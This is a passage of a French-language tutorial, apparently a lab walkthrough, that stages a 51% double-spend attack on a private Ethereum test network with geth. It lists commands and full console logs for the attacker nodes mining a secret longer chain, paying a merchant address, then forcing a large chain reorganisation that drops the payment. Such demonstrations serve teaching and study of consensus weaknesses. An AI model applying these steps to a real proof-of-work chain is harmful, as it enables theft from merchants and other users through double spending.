"enode://92d5d085f7c834762dd190095508d470f8dc001975e6d7a8689fb6b69ba1f749bdff8e2be1a1d948b78c850e7bfe017cbb31d998161e6112f608b7435d7d6ef0@109.15.242.225:60303"
> exit
INFO [03-08|13:25:01.919] HTTP endpoint closed                     url=http://127.0.0.1:8545
INFO [03-08|13:25:01.920] IPC endpoint closed                      url=/root/blockchain_51/maliciousMiner/data/geth.ipc
INFO [03-08|13:25:01.920] Blockchain manager stopped
INFO [03-08|13:25:01.920] Stopping Ethereum protocol
INFO [03-08|13:25:01.920] Ethereum protocol stopped
INFO [03-08|13:25:01.920] Transaction pool stopped

maliciousPerson

  • Compte : maliciousPerson
  • Mot de passe : maliciousPerson

Lorsque vous accédez à la console avec la commande suivante, vous devez exécuter personal.newAccount() afin de créer le compte honestMiner, puis admin.nodeInfo.enode afin d’obtenir les informations de l’enode, enfin, la commande personal pour obtenir toutes les informations personnelles du mineur.

Sur l’hôte maliciousPerson.

Commande :

geth --nousb --networkid 15 --port 60306 --rpc --rpcport 8547 --lightkdf --cache 16 --datadir maliciousPerson/data console

Résultat des commandes dans la console :

INFO [03-08|13:26:42.177] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:26:42.177] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:26:42.178] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:26:42.179] Allocated trie memory caches             clean=4.00MiB dirty=4.00MiB
INFO [03-08|13:26:42.179] Allocated cache and file handles         database=/root/blockchain_51/maliciousPerson/data/geth/chaindata cache=16.00MiB handles=524288
INFO [03-08|13:26:42.475] Opened ancient database                  database=/root/blockchain_51/maliciousPerson/data/geth/chaindata/ancient
INFO [03-08|13:26:42.476] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:26:42.476] Disk storage enabled for ethash caches   dir=/root/blockchain_51/maliciousPerson/data/geth/ethash count=3
INFO [03-08|13:26:42.476] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:26:42.476] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=
WARN [03-08|13:26:42.476] Upgrade blockchain database version      from= to=7
INFO [03-08|13:26:42.478] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:26:42.478] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:26:42.478] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:26:42.478] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:26:42.479] Allocated fast sync bloom                size=8.00MiB
INFO [03-08|13:26:42.481] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=940.104µs
INFO [03-08|13:26:42.553] New local node record                    seq=1 id=b39e22b794d9c0ab ip=127.0.0.1 udp=60306 tcp=60306
INFO [03-08|13:26:42.554] Started P2P networking                   self=enode://3310b580969280325f202366271c58ee55061ea5532e5ac26aeaa4dc05acbea2692b0ed668f3075ad03aa0fd062b2d66ca706aa3e05566827ebada69d1b37b01@127.0.0.1:60306
INFO [03-08|13:26:42.558] IPC endpoint opened                      url=/root/blockchain_51/maliciousPerson/data/geth.ipc
INFO [03-08|13:26:42.559] HTTP endpoint opened                     url=http://127.0.0.1:8547 cors= vhosts=localhost
WARN [03-08|13:26:42.641] Served eth_coinbase                      reqid=3 t=26.339µs err="etherbase must be explicitly specified"
Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
at block: 0 (Thu Jan 01 1970 01:00:00 GMT+0100 (CET))
 datadir: /root/blockchain_51/maliciousPerson/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> INFO [03-08|13:26:44.395] New local node record                    seq=2 id=b39e22b794d9c0ab ip=109.15.242.225 udp=60306 tcp=60306
> personINFO [03-08|13:26:52.620] Looking for peers                        peercount=1 tried=94 static=0
> personal.newAccount()
Passphrase:
Repeat passphrase:
INFO [03-08|13:27:12.891] Your new key was generated               address=0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a
WARN [03-08|13:27:12.891] Please backup your key file!             path=/root/blockchain_51/maliciousPerson/data/keystore/UTC--2020-03-08T12-27-12.640367351Z--11f7d3ee650bac6f676d4fc51dbbe153d590bc8a
WARN [03-08|13:27:12.891] Please remember your password!
"0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a"
> INFO [03-08|13:27:13.045] Looking for peers                        peercount=2 tried=62 static=0
> personal
{
  listAccounts: ["0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a"],
  listWallets: [{
      accounts: [{...}],
      status: "Locked",
      url: "keystore:///root/blockchain_51/maliciousPerson/data/keystore/UTC--2020-03-08T12-27-12.640367351Z--11f7d3ee650bac6f676d4fc51dbbe153d590bc8a"
  }],
  deriveAccount: function(),
  ecRecover: function(),
  getListAccounts: function(callback),
  getListWallets: function(callback),
  importRawKey: function(),
  initializeWallet: function(),
  lockAccount: function(),
  newAccount: function(),
  openWallet: function(),
  sendTransaction: function(),
  sign: function(),
  signTransaction: function(),
  unlockAccount: function(),
  unpair: function()
}
> admin.nodeInfo.enodINFO [03-08|13:27:23.129] Looking for peers                        peercount=1 tried=141 static=0
> admin.nodeInfo.enode
"enode://3310b580969280325f202366271c58ee55061ea5532e5ac26aeaa4dc05acbea2692b0ed668f3075ad03aa0fd062b2d66ca706aa3e05566827ebada69d1b37b01@109.15.242.225:60306"
> exit
INFO [03-08|13:27:24.959] HTTP endpoint closed                     url=http://127.0.0.1:8547
INFO [03-08|13:27:24.959] IPC endpoint closed                      url=/root/blockchain_51/maliciousPerson/data/geth.ipc
INFO [03-08|13:27:24.959] Blockchain manager stopped
INFO [03-08|13:27:24.959] Stopping Ethereum protocol
INFO [03-08|13:27:24.959] Ethereum protocol stopped
INFO [03-08|13:27:24.959] Transaction pool stopped

L’information importante ici est l’adresse ethereum privée de la personne malveillante : 0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a

Minage

Pour attaquer, l’attaquant aura besoin :

  • d’être synchronisé avec l’honestMineur
  • d’avoir un certain nombre d’éthereums afin d’exécuter une transaction

Le maliciousMiner devra saisir la valeur de l’enode du honestMiner afin d’être synchronisé :

Sur l’hôte maliciousMiner.

Commande :

geth --nousb --networkid 15 --port 60303 --rpc --rpcport 8545 --rpccorsdomain "*" --datadir maliciousMiner/data --miner.threads 1 --bootnodes "enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@192.168.0.17:60303"

Résultat :

WARN [03-08|13:32:09.680] Sanitizing cache to Gos GC limits       provided=1024 updated=656
INFO [03-08|13:32:09.680] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:32:09.680] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:32:09.682] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:32:09.682] Allocated trie memory caches             clean=164.00MiB dirty=164.00MiB
INFO [03-08|13:32:09.682] Allocated cache and file handles         database=/root/blockchain_51/maliciousMiner/data/geth/chaindata cache=328.00MiB handles=524288
INFO [03-08|13:32:09.913] Opened ancient database                  database=/root/blockchain_51/maliciousMiner/data/geth/chaindata/ancient
INFO [03-08|13:32:09.914] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:32:09.914] Disk storage enabled for ethash caches   dir=/root/blockchain_51/maliciousMiner/data/geth/ethash count=3
INFO [03-08|13:32:09.914] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:32:09.914] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=7
INFO [03-08|13:32:09.915] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:32:09.915] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:32:09.915] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:32:09.915] Loaded local transaction journal         transactions=0 dropped=0
INFO [03-08|13:32:09.916] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:32:09.922] Allocated fast sync bloom                size=328.00MiB
INFO [03-08|13:32:09.925] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=2.063ms
INFO [03-08|13:32:10.227] New local node record                    seq=3 id=358c5618374a8627 ip=127.0.0.1 udp=60303 tcp=60303
INFO [03-08|13:32:10.229] Started P2P networking                   self=enode://92d5d085f7c834762dd190095508d470f8dc001975e6d7a8689fb6b69ba1f749bdff8e2be1a1d948b78c850e7bfe017cbb31d998161e6112f608b7435d7d6ef0@127.0.0.1:60303
INFO [03-08|13:32:10.230] IPC endpoint opened                      url=/root/blockchain_51/maliciousMiner/data/geth.ipc
INFO [03-08|13:32:10.231] HTTP endpoint opened                     url=http://127.0.0.1:8545 cors=* vhosts=localhost
INFO [03-08|13:32:13.873] Block synchronisation started
INFO [03-08|13:32:13.891] Imported new state entries               count=3 elapsed=5.212ms processed=3 pending=0 retry=0 duplicate=0 unexpected=0
INFO [03-08|13:32:15.482] Imported new block headers               count=192 elapsed=1.485s  number=192 hash=cf25a5…459e2b
INFO [03-08|13:32:15.490] Imported new block receipts              count=128 elapsed=1.671ms number=128 hash=e93c19…23766a age=3m4s      size=512.00B
INFO [03-08|13:32:15.498] Imported new state entries               count=2   elapsed=3.876ms processed=5 pending=0 retry=0 duplicate=0 unexpected=0
INFO [03-08|13:32:15.498] Imported new block receipts              count=1   elapsed=75.315µs number=129 hash=33cdaa…abc5e0 age=3m3s      size=4.00B
INFO [03-08|13:32:15.499] Committed new head block                 number=129 hash=33cdaa…abc5e0
INFO [03-08|13:32:15.585] Deallocated fast sync bloom              items=6 errorrate=0.000
INFO [03-08|13:32:15.604] Imported new chain segment               blocks=63 txs=0 mgas=0.000 elapsed=18.650ms mgasps=0.000 number=192 hash=cf25a5…459e2b dirty=27.93KiB
INFO [03-08|13:32:17.001] Imported new block headers               count=2   elapsed=5.509ms  number=194 hash=397a21…656bfa
INFO [03-08|13:32:17.002] Imported new chain segment               blocks=2  txs=0 mgas=0.000 elapsed=752.225µs mgasps=0.000 number=194 hash=397a21…656bfa dirty=28.82KiB
INFO [03-08|13:32:17.084] Fast sync complete, auto disabling
INFO [03-08|13:32:23.200] Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=4.129ms   mgasps=0.000 number=195 hash=aafd44…c4763e dirty=29.26KiB
INFO [03-08|13:32:26.066] Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=4.889ms   mgasps=0.000 number=196 hash=59aa1b…c3c1af dirty=29.71KiB  |  

On peut voir ici que le maliciousMiner est synchronisé avec le honestMiner, les bloc sont importés :

Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=4.129ms   mgasps=0.000 number=195 hash=aafd44…c4763e dirty=29.26KiB

Tuez maintenant le terminal précédent.

Afin d’avoir une chaîne plus longue que l’honestMiner, avec un hashrate plus élevé, l’attaquant devra rompre la synchronisation avec l’honestMiner et miner tout seul avec 4 CPU supplémentaires !

Sur l’hôte maliciousMiner.

Commande :

geth --nousb --networkid 15 --port 60303 --rpc --rpcport 8545 --rpccorsdomain "*" --datadir maliciousMiner/data --miner.threads 4 --mine

Résultat :

WARN [03-08|13:36:13.134] Sanitizing cache to Gos GC limits       provided=1024 updated=656
INFO [03-08|13:36:13.138] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:36:13.138] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:36:13.139] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:36:13.139] Allocated trie memory caches             clean=164.00MiB dirty=164.00MiB
INFO [03-08|13:36:13.139] Allocated cache and file handles         database=/root/blockchain_51/maliciousMiner/data/geth/chaindata cache=328.00MiB handles=524288
INFO [03-08|13:36:13.478] Opened ancient database                  database=/root/blockchain_51/maliciousMiner/data/geth/chaindata/ancient
INFO [03-08|13:36:13.479] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:36:13.479] Disk storage enabled for ethash caches   dir=/root/blockchain_51/maliciousMiner/data/geth/ethash count=3
INFO [03-08|13:36:13.479] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:36:13.479] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=7
INFO [03-08|13:36:13.480] Loaded most recent local header          number=254 hash=c145e9…0e5ca0 td=35367758 age=34s
INFO [03-08|13:36:13.480] Loaded most recent local full block      number=254 hash=c145e9…0e5ca0 td=35367758 age=34s
INFO [03-08|13:36:13.480] Loaded most recent local fast block      number=254 hash=c145e9…0e5ca0 td=35367758 age=34s

Il faut maintenant le maintenir en marche.

maliciousPerson devra lancer un autre mineur afin d’avoir un certain nombre d’éthereum à transférer :

Sur l’hôte maliciousPerson.

Commande :

geth --nousb --networkid 15 --port 60305 --rpc --rpcport 8547 --rpccorsdomain "*" --datadir maliciousPerson/data --miner.threads 1 --bootnodes "enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@192.168.0.17:60303" --mine --allow-insecure-unlock

Résultat :

WARN [03-08|13:38:33.113] Sanitizing cache to Gos GC limits       provided=1024 updated=656
INFO [03-08|13:38:33.113] Maximum peer count                       ETH=50 LES=0 total=50
INFO [03-08|13:38:33.113] Smartcard socket not found, disabling    err="stat /run/pcscd/pcscd.comm: no such file or directory"
INFO [03-08|13:38:33.114] Starting peer-to-peer node               instance=Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
INFO [03-08|13:38:33.114] Allocated trie memory caches             clean=164.00MiB dirty=164.00MiB
INFO [03-08|13:38:33.114] Allocated cache and file handles         database=/root/blockchain_51/maliciousPerson/data/geth/chaindata cache=328.00MiB handles=524288
INFO [03-08|13:38:33.601] Opened ancient database                  database=/root/blockchain_51/maliciousPerson/data/geth/chaindata/ancient
INFO [03-08|13:38:33.602] Initialised chain configuration          config="{ChainID: 15 Homestead: 0 DAO:  DAOSupport: false EIP150: 0 EIP155: 0 EIP158: 0 Byzantium:  Constantinople:  Petersburg:  Istanbul: , Muir Glacier: , Engine: unknown}"
INFO [03-08|13:38:33.602] Disk storage enabled for ethash caches   dir=/root/blockchain_51/maliciousPerson/data/geth/ethash count=3
INFO [03-08|13:38:33.602] Disk storage enabled for ethash DAGs     dir=/root/.ethash count=2
INFO [03-08|13:38:33.602] Initialising Ethereum protocol           versions="[65 64 63]" network=15 dbversion=7
INFO [03-08|13:38:33.604] Loaded most recent local header          number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:38:33.604] Loaded most recent local full block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:38:33.604] Loaded most recent local fast block      number=0 hash=2d326d…48d0a3 td=10 age=50y10mo4w
INFO [03-08|13:38:33.604] Loaded local transaction journal         transactions=0 dropped=0
INFO [03-08|13:38:33.605] Regenerated local transaction journal    transactions=0 accounts=0
INFO [03-08|13:38:33.617] Allocated fast sync bloom                size=328.00MiB
INFO [03-08|13:38:33.618] Initialized fast sync bloom              items=1 errorrate=0.000 elapsed=950.435µs
INFO [03-08|13:38:33.726] New local node record                    seq=3 id=b39e22b794d9c0ab ip=127.0.0.1 udp=60305 tcp=60305
INFO [03-08|13:38:33.726] Started P2P networking                   self=enode://3310b580969280325f202366271c58ee55061ea5532e5ac26aeaa4dc05acbea2692b0ed668f3075ad03aa0fd062b2d66ca706aa3e05566827ebada69d1b37b01@127.0.0.1:60305
INFO [03-08|13:38:33.729] IPC endpoint opened                      url=/root/blockchain_51/maliciousPerson/data/geth.ipc
INFO [03-08|13:38:33.729] HTTP endpoint opened                     url=http://127.0.0.1:8547 cors=* vhosts=localhost
INFO [03-08|13:38:33.729] Transaction pool price threshold updated price=1000000000
INFO [03-08|13:38:33.729] Updated mining threads                   threads=1
INFO [03-08|13:38:33.730] Transaction pool price threshold updated price=1000000000
INFO [03-08|13:38:33.730] Etherbase automatically configured       address=0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a
INFO [03-08|13:38:33.730] Commit new mining work                   number=1 sealhash=e63e8d…61596d uncles=0 txs=0 gas=0 fees=0 elapsed=164.912µs
INFO [03-08|13:38:34.257] Successfully sealed new block            number=1 sealhash=e63e8d…61596d hash=9d5ad0…3026a6 elapsed=526.954ms
INFO [03-08|13:38:34.257] 🔨 mined potential block                  number=1 hash=9d5ad0…3026a6
INFO [03-08|13:38:34.258] Commit new mining work                   number=2 sealhash=49e567…746b3d uncles=0 txs=0 gas=0 fees=0 elapsed=487.802µs
INFO [03-08|13:38:34.731] Successfully sealed new block            number=2 sealhash=49e567…746b3d hash=a31a73…79494f elapsed=473.858ms
INFO [03-08|13:38:34.741] 🔨 mined potential block                  number=2 hash=a31a73…79494f
INFO [03-08|13:38:34.732] Commit new mining work                   number=3 sealhash=353f5f…a8d55a uncles=0 txs=0 gas=0 fees=0 elapsed=222.024µs
INFO [03-08|13:38:37.930] Successfully sealed new block            number=3 sealhash=353f5f…a8d55a hash=2233eb…184930 elapsed=3.197s
INFO [03-08|13:38:37.930] 🔨 mined potential block                  number=3 hash=2233eb…184930
INFO [03-08|13:38:37.930] Commit new mining work                   number=4 sealhash=7fbd98…060758 uncles=0 txs=0 gas=0 fees=0 elapsed=329.098µs
INFO [03-08|13:38:38.282] Successfully sealed new block            number=4 sealhash=7fbd98…060758 hash=d7ba82…75812d elapsed=352.636ms
INFO [03-08|13:38:38.283] Commit new mining work                   number=5 sealhash=6b2da0…422fd0 uncles=0 txs=0 gas=0 fees=0 elapsed=266.942µs
INFO [03-08|13:38:38.293] 🔨 mined potential block                  number=4 hash=d7ba82…75812d
INFO [03-08|13:38:38.353] Successfully sealed new block            number=5 sealhash=6b2da0…422fd0 hash=e62713…0cb3bb elapsed=70.130ms
INFO [03-08|13:38:38.353] 🔨 mined potential block                  number=5 hash=e62713…0cb3bb
INFO [03-08|13:38:38.353] Commit new mining work                   number=6 sealhash=d77e5c…b9fd76 uncles=0 txs=0 gas=0 fees=0 elapsed=247.89µs
INFO [03-08|13:38:39.317] Successfully sealed new block            number=6 sealhash=d77e5c…b9fd76 hash=afdafb…acb151 elapsed=963.600ms
INFO [03-08|13:38:39.317] 🔨 mined potential block                  number=6 hash=afdafb…acb151
INFO [03-08|13:38:39.317] Commit new mining work                   number=7 sealhash=c209ef…e0507e uncles=0 txs=0 gas=0 fees=0 elapsed=234.739µs
INFO [03-08|13:38:43.574] Successfully sealed new block            number=7 sealhash=c209ef…e0507e hash=17c796…c9b8c3 elapsed=4.256s
INFO [03-08|13:38:43.574] 🔨 mined potential block                  number=7 hash=17c796…c9b8c3
INFO [03-08|13:38:43.574] Commit new mining work                   number=8 sealhash=02ec4f…008ddf uncles=0 txs=0 gas=0 fees=0 elapsed=246.359µs
INFO [03-08|13:38:43.727] Block synchronisation started
INFO [03-08|13:38:43.727] Mining aborted due to sync
INFO [03-08|13:38:43.781] Imported new state entries               count=3 elapsed=42.971ms  processed=3 pending=0 retry=0 duplicate=0 unexpected=0
INFO [03-08|13:38:45.412] Imported new block headers               count=192 elapsed=1.564s    number=192 hash=cf25a5…459e2b age=6m38s
INFO [03-08|13:38:45.422] Imported new block receipts              count=192 elapsed=1.963ms   number=192 hash=cf25a5…459e2b age=6m38s     size=768.00B
INFO [03-08|13:38:47.011] Imported new block headers               count=111 elapsed=157.650ms number=303 hash=13e30f…401e32
INFO [03-08|13:38:47.015] Imported new block receipts              count=47  elapsed=559.986µs number=239 hash=16bc76…843790 age=3m53s     size=188.00B
INFO [03-08|13:38:47.068] Imported new state entries               count=2   elapsed=51.539ms  processed=5 pending=0 retry=0 duplicate=0 unexpected=0
INFO [03-08|13:38:47.069] Imported new block receipts              count=1   elapsed=85.425µs  number=240 hash=318848…7a1d55 age=3m46s     size=4.00B
INFO [03-08|13:38:47.069] Committed new head block                 number=240 hash=318848…7a1d55
INFO [03-08|13:38:47.151] Deallocated fast sync bloom              items=6 errorrate=0.000
INFO [03-08|13:38:47.170] Imported new chain segment               blocks=63 txs=0 mgas=0.000 elapsed=18.133ms  mgasps=0.000 number=303 hash=13e30f…401e32 dirty=28.17KiB
INFO [03-08|13:38:49.932] Imported new block headers               count=2   elapsed=78.648ms  number=305 hash=ae0530…b7e9ab
INFO [03-08|13:38:49.934] Imported new chain segment               blocks=2  txs=0 mgas=0.000 elapsed=764.886µs mgasps=0.000 number=305 hash=ae0530…b7e9ab dirty=29.06KiB
INFO [03-08|13:38:49.937] Fast sync complete, auto disabling
INFO [03-08|13:38:49.938] 😱 block lost                             number=1   hash=9d5ad0…3026a6
INFO [03-08|13:38:49.938] 😱 block lost                             number=2   hash=a31a73…79494f
INFO [03-08|13:38:49.938] 😱 block lost                             number=3   hash=2233eb…184930
INFO [03-08|13:38:49.938] 😱 block lost                             number=4   hash=d7ba82…75812d
INFO [03-08|13:38:49.939] 😱 block lost                             number=5   hash=e62713…0cb3bb
INFO [03-08|13:38:49.939] 😱 block lost                             number=6   hash=afdafb…acb151
INFO [03-08|13:38:49.939] 😱 block lost                             number=7   hash=17c796…c9b8c3
INFO [03-08|13:38:49.939] Commit new mining work                   number=306 sealhash=c4dbfb…84d5ff uncles=0 txs=0 gas=0 fees=0 elapsed=2.451ms
INFO [03-08|13:38:52.792] Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=6.008ms   mgasps=0.000 number=306 hash=69b853…2967d8 dirty=29.50KiB
INFO [03-08|13:38:52.792] Commit new mining work                   number=307 sealhash=f827e8…a52fb8 uncles=0 txs=0 gas=0 fees=0 elapsed=164.509µs
INFO [03-08|13:38:54.509] Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=4.280ms   mgasps=0.000 number=307 hash=a72436…fabb4c dirty=29.94KiB
INFO [03-08|13:38:54.510] Commit new mining work                   number=308 sealhash=c02e25…c4fdb1 uncles=0 txs=0 gas=0 fees=0 elapsed=164.361µs
INFO [03-08|13:38:55.349] Imported new chain segment               blocks=1  txs=0 mgas=0.000 elapsed=3.952ms   mgasps=0.000 number=308 hash=fa998b…65b606 dirty=30.39KiB
INFO [03-08|13:38:55.349] Commit new mining work                   number=309 sealhash=7a542d…f9c966 uncles=0 txs=0 gas=0 fees=0 elapsed=187.086µs

Le maintenir en marche.

Ensuite, ouvrez une session avec votre maliciousPerson et exécutez une transaction pour le site marchand par exemple. Pour créer une transaction, vous avez besoin de l’adresse ethereum privée de maliciousPerson, de l’adresse ethereum publique du site marchand et du montant.

Pour commencer, vous devez déverrouiller le compte de la maliciousPerson avec son adresse privée et le mot de passe donné lors de la création de son compte : personal.unlockAccount("0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a","maliciousperson")

Envoyez ensuite une transaction vers le site marchand : web3.eth.sendTransaction({from: "0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a", to: "0xe82e809d5f9574b54a4b8ead7e195b163b39662f", value: 1000000000000000000})

Le retour de la transaction est son ID dans la blockchain, vous pouvez obtenir plus d’informations à ce sujet si vous exécutez : web3.eth.getTransactionReceipt("TRANSACTION_ID")

Sur l’hôte maliciousPerson.

Commande :

geth --ipcpath geth.ipc --datadir maliciousPerson/data attach

Résultat des commandes dans la console :

Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
coinbase: 0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a
at block: 429 (Sun Mar 08 2020 13:43:07 GMT+0100 (CET))
 datadir: /root/blockchain_51/maliciousPerson/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> personal.unlockAccount("0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a", "maliciousperson")
true
> web3.eth.sendTransaction({from: "0x11f7d3EE650Bac6f676D4fc51dbBE153D590BC8a", to: "0xe82e809d5f9574b54a4b8ead7e195b163b39662f", value: 1000000000000000000})
"0x2db31525f37ecfb38ef934c125ae9534a4889325142caa336b9acf8b112a5696"
> web3.eth.getTransactionReceipt("0x2db31525f37ecfb38ef934c125ae9534a4889325142caa336b9acf8b112a5696")
{
  blockHash: "0x8bbdd1a3187d11361bd3759f82e9de037bbd254e50fbda75cc564446016a568f",
  blockNumber: 466,
  contractAddress: null,
  cumulativeGasUsed: 21000,
  from: "0x11f7d3ee650bac6f676d4fc51dbbe153d590bc8a",
  gasUsed: 21000,
  logs: [],
  logsBloom: "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
  root: "0x42e9a4ca7eb3f7a59d33a35c6f608d642bf128d7b969a1a2f4250bc8c74c55ab",
  to: "0xe82e809d5f9574b54a4b8ead7e195b163b39662f",
  transactionHash: "0x2db31525f37ecfb38ef934c125ae9534a4889325142caa336b9acf8b112a5696",
  transactionIndex: 0
}

Comme on peut le voir, la transaction est créé et validée par l’honestMiner au bloc 466.

Maintenant, ouvrez une session avec le maliciousMiner et synchronisez-vous avec le honestMiner avec la commande : admin.addPeer() :

Sur l’hôte maliciousMiner.

Commande :

geth --ipcpath geth.ipc --datadir maliciousMiner/data attach

Résultat des commandes de la console :

Welcome to the Geth JavaScript console!

instance: Geth/v1.9.11-stable-6a62fe39/linux-amd64/go1.13.8
coinbase: 0xeab6ffe92041e39233c95451a72cf5e82cd23297
at block: 556 (Sun Mar 08 2020 13:43:06 GMT+0100 (CET))
 datadir: /root/blockchain_51/maliciousMiner/data
 modules: admin:1.0 debug:1.0 eth:1.0 ethash:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> admin.addPeer("enode://c6ab8727e45dee49304d48a89b8250ef4d792316340b7f1c48b63e1d627915a532f06f1fd8b8390c78d35acda1eeb9d08ddbf60466dd658ffc50395315aa2026@192.168.0.17:60303")
true

La synchronisation est faite, et si vous vérifiez les logs de l’honestMiner, vous devez voir la synchronisation avec le maliciousMineur. Son dernier numéro de bloc était le 491, et avec la synchronisation, il a réorganisé la blockchain du block 237 au 660.

INFO [03-08|13:45:50.194] Successfully sealed new block            number=491 sealhash=0dae97…415534 hash=f118f2…66313c elapsed=1.648s
INFO [03-08|13:45:50.194] 🔗 block reached canonical chain          number=484 hash=c5ce1d…bb2fe0
INFO [03-08|13:45:50.195] Commit new mining work                   number=492 sealhash=d72305…1b336c uncles=0 txs=0 gas=0     fees=0       elapsed=907.748µs
INFO [03-08|13:45:50.195] 🔨 mined potential block                  number=491 hash=f118f2…66313c
INFO [03-08|13:45:51.882] Block synchronisation started
INFO [03-08|13:45:51.883] Mining aborted due to sync
INFO [03-08|13:45:54.026] Importing sidechain segment              start=14 end=638
WARN [03-08|13:45:54.198] Large chain reorg detected               number=254 hash=c145e9…0e5ca0 drop=237 dropfrom=f118f2…66313c add=237 addfrom=d307a6…cba24c
INFO [03-08|13:45:54.269] Imported new chain segment               blocks=625 txs=0 mgas=0.000 elapsed=243.145ms mgasps=0.000 number=638 hash=fe2c57…9bc3ef dirty=60.99KiB
INFO [03-08|13:45:55.471] Imported new chain segment               blocks=19  txs=0 mgas=0.000 elapsed=105.940ms mgasps=0.000 number=657 hash=a731ef…c90bff dirty=60.99KiB
INFO [03-08|13:45:55.473] 😱 block lost                             number=485 hash=9d4fde…106d6c
INFO [03-08|13:45:55.473] 😱 block lost                             number=487 hash=5a451f…47f46b
INFO [03-08|13:45:55.473] 😱 block lost                             number=488 hash=d1ca36…84ca96
INFO [03-08|13:45:55.474] 😱 block lost                             number=490 hash=275b8a…e0cc41
INFO [03-08|13:45:55.474] 😱 block lost                             number=491 hash=f118f2…66313c
INFO [03-08|13:45:55.474] Commit new mining work                   number=658 sealhash=90f6ff…86f93c uncles=0 txs=0 gas=0     fees=0       elapsed=1.098ms
INFO [03-08|13:45:56.228] Imported new chain segment               blocks=1   txs=0 mgas=0.000 elapsed=5.389ms   mgasps=0.000 number=658 hash=479cff…54e507 dirty=60.99KiB
INFO [03-08|13:45:56.229] Commit new mining work                   number=659 sealhash=a7f83e…0b8aa1 uncles=0 txs=0 gas=0     fees=0       elapsed=164.506µs
INFO [03-08|13:45:57.470] Successfully sealed new block            number=659 sealhash=a7f83e…0b8aa1 hash=615a0f…2e81e7 elapsed=1.241s
